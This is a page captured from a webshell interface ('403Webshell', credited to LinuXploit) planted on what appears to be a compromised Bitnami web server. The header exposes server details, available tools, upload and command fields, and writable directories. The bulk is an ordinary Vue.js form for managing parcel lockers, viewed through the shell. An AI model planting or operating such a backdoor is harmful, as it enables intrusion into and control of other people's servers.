403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/apache/htdocs/app/resources/js/views/Lockers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/apache/htdocs/app/resources/js/views/Lockers/LockerForm.vue
<template>
	<div>
		<v-card class="radius-10">
			<v-card-title>
				<span class="headline">{{ (action == 'edit') ? 'Edit Locker' : 'New Locker' }}</span>
			</v-card-title>
			<v-divider class="mb-2"></v-divider>
			<v-card-text class="py-4">
				<v-row dense>
					<v-col cols="12" md="12">
						<v-text-field
							v-model="form.name"
							label="Name" placeholder="Name"
							dense
							counter="20"
							:error-messages="errors.name"
						></v-text-field>
					</v-col>
					<v-col cols="12" md="12">
						<v-text-field
							v-model="form.terminal_id"
							label="Terminal ID" placeholder="Terminal ID"
							dense
							:error-messages="errors.terminal_id"
						></v-text-field>
					</v-col>
					<v-col cols="12" md="12">
						<v-autocomplete
							v-model="form.state"
							label="State" placeholder="State"
							dense
							:items="state_list"
							item-value="name" item-text="name"
							:error-messages="errors.state"
						></v-autocomplete>
					</v-col>
					<v-col cols="12" md="12">
						<v-text-field
							v-model="form.city"
							label="City" placeholder="City"
							dense
							:error-messages="errors.city"
						></v-text-field>
					</v-col>
					<v-col cols="12" md="12">
						<v-text-field
							v-model="form.pos_code"
							label="Postal Code" placeholder="Postal Code"
							dense
							:error-messages="errors.pos_code"
						></v-text-field>
					</v-col>
					<v-col cols="12" md="12">
						<v-textarea
							v-model="form.address"
							label="Display Address" placeholder="Display Address"
							dense outlined
							rows="2"
							counter="100"
							:error-messages="errors.address"
						></v-textarea>
					</v-col>
					<v-col cols="12" md="12">
						<v-text-field
							:value="location_text"
							label="GPS Location" placeholder="GPS Location"
							dense
							readonly
							@click="location_dialog = true"
						></v-text-field>
					</v-col>
					<v-col cols="12" md="12">
						<v-autocomplete
							v-model="form.available_box_types"
							label="Available Box Types" placeholder="Available Box Types"
							dense
							multiple chips small-chips
							:items="box_types_items"
							item-value="id" item-text="title"
							:loading="box_types_loading"
							:search-input.sync="box_types_search"
							:error-messages="errors.available_box_types"
						></v-autocomplete>
					</v-col>
					<template v-if="true">
						<v-col cols="12" md="auto" class="body-2">
							Manage by: 
							<span v-if="form.partner">{{ form.partner.full_name }}</span>
							<span v-else class="font-italic">-Unsigned-</span>
							<v-btn
								v-if="[99,98].includes($auth.user().role_id)"
								rounded outlined small
								color="info"
								class="text-capitalize ml-2"
								:loading="partner_loading"
								@click="user_picker_dialog = true"
							>
								<v-icon small left>mdi-pencil</v-icon>Edit
							</v-btn>
							<WUserPicker
								v-model="form.partner"
								:visible.sync="user_picker_dialog"
								:search-payload="{
									role_id : 2
								}"
								@input="assignLockerPartner()"
							></WUserPicker>
						</v-col>
					</template>
				</v-row>
			</v-card-text>
			<v-card-actions>
				<v-spacer></v-spacer>
				<v-btn 
					v-if="form.id"
					color="blue darken-1" text title="Clear Terminal Id" 
					@click="clearTerminalId(form)"
				>
					Clear Terminal Id
				</v-btn>
				<v-btn 
					color="blue darken-1" text title="Cancel" 
					@click="closeDialog()"
				>
					Cancel
				</v-btn>
				<v-btn 
					color="blue darken-1" 
					text title="Save" 
					:loading="submit_loading"
					@click="submitForm(form)"
				>
					Save
				</v-btn>
			</v-card-actions>
		</v-card>

		<v-dialog v-model="location_dialog" max-width="550px" persistent>
			<WLocationPicker
				v-model="form.location" 
				:visible.sync="location_dialog"
			></WLocationPicker>
		</v-dialog>
	</div>
</template>

<script>
import WLocationPicker from "@components/WLocationPicker"
import WUserPicker from "@components/WUserPicker"
import { errorHandlerMixin } from "@/js/mixins/ErrorHandlerMixin"
export default{
	components:{
		WLocationPicker,
		WUserPicker,
	},
	mixins: [ 
		errorHandlerMixin
	],
	props:{
		visible: {
			type: Boolean,
			required: true,
		},
		item: {
			type: Object,
			required: true,
			default: ()=>{
				return {}
			}
		},
		action: {
			type: String,
			required: true,
		},
		roleTypes:{
			type: Array,
			default: ()=>{
				return []
			}
		}
	},
	data () {
		return {
			form : {},
			errors : {},
			submit_loading : false,
			box_types_search: null,
			box_types_items: [],
			box_types_loading: false,
			location_dialog: false,
			user_picker_dialog: false,
			partner_loading : false,
			state_list: []
		}
	},
	computed:{
		location_text(){
			if(this.form.location){
				return this.form.location.lat+', '+this.form.location.lng
			}
			return null
		}
	},
	watch:{
		'item':{
			handler(){
				this.form = this.item
				if( this.form.longitude != 0 ){
					this.form.location = {
						lat : this.form.latitude,
						lng : this.form.longitude
					}
				}
			},
			immediate: true,
		},
		'visible':{
			handler: function (newVal){
				if(!newVal){
					// reset
					this.form = {}
					this.errors = {}
				}
			},
			immediate : true,
		},
		'box_types_search':{
			handler(){
				this.getLockerBoxTypes()
			},
			immediate : true,
		},
	},
	created(){
		this.init()
	},
	methods: {
		init()
		{
			this.getStateList()
		},
		initialize(){
			this.$emit('initialize')
		},
		initAndCloseDialog(){
			this.closeDialog()
			this.initialize()
		},
		closeDialog(){
			this.$emit('update:visible',false)
		},
		submitForm(item){
			this.saveModel(item)
		},
		saveModel(item){
			this.submit_loading = true
			this.errors = {}
			let payload = {
				id : item.id,
				name : item.name,
				terminal_id : item.terminal_id,
				address : item.address,
				state : item.state,
				city : item.city,
				pos_code : item.pos_code,
				latitude : item.location?.lat,
				longitude : item.location?.lng,
				available_box_types: item.available_box_types
			}	
			let theApi = this.$api.updateLocker(payload)
			theApi.then((res)=>{
				this.$toast.success(res.data.message)
				this.initAndCloseDialog()
			}).catch((err) => {
				this.errors = this.errorHandler_(err,[
					"name",
					"terminal_id",
					"address",
					"city",
					"state",
					"pos_code",
					"available_box_types"
				])
			}).finally(()=>{
				this.submit_loading = false
			})
		},
		getLockerBoxTypes(){
			let payload = {
				only_bookable: 1
			}
			this.box_types_loading = true
			this.$api.getLockerBoxTypeList(payload).then((res)=>{
				let { data } = res.data.result
				this.box_types_items = data
				// this.totalData_ = total
			}).catch((err)=>{
				this.errorHandler_(err)
			}).finally(()=>{
				this.box_types_loading = false
			})
		},
		assignLockerPartner(){
			this.partner_loading = true
			let payload = {
				id : this.item.id,
				owner_id : this.form.partner.id,
			}
			this.$api.assignLockerPartner(payload).then((res)=>{
				this.$toast.success(res.data.message)
				this.form.partner = res.data.result.partner
				this.initialize()
			}).catch((err) => {
				this.errorHandler_(err)
			}).finally(()=>{
				this.partner_loading = false
			})
		},
		getStateList()
		{
			this.$api.getStateList().then(async (res)=>{
				let { result } = res.data
				this.state_list = result
			}).catch((err)=>{
				this.errorHandler_(err)
			})
		},
		clearTerminalId(item)
		{
			let payload = {
				id : item.id,
			}	
			this.$api.clearTerminalId(payload).then(async (res)=>{
				this.$toast.success(res.data.message)
				this.initAndCloseDialog()
			}).catch((err)=>{
				this.errorHandler_(err)
			})
		}
	}
}
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit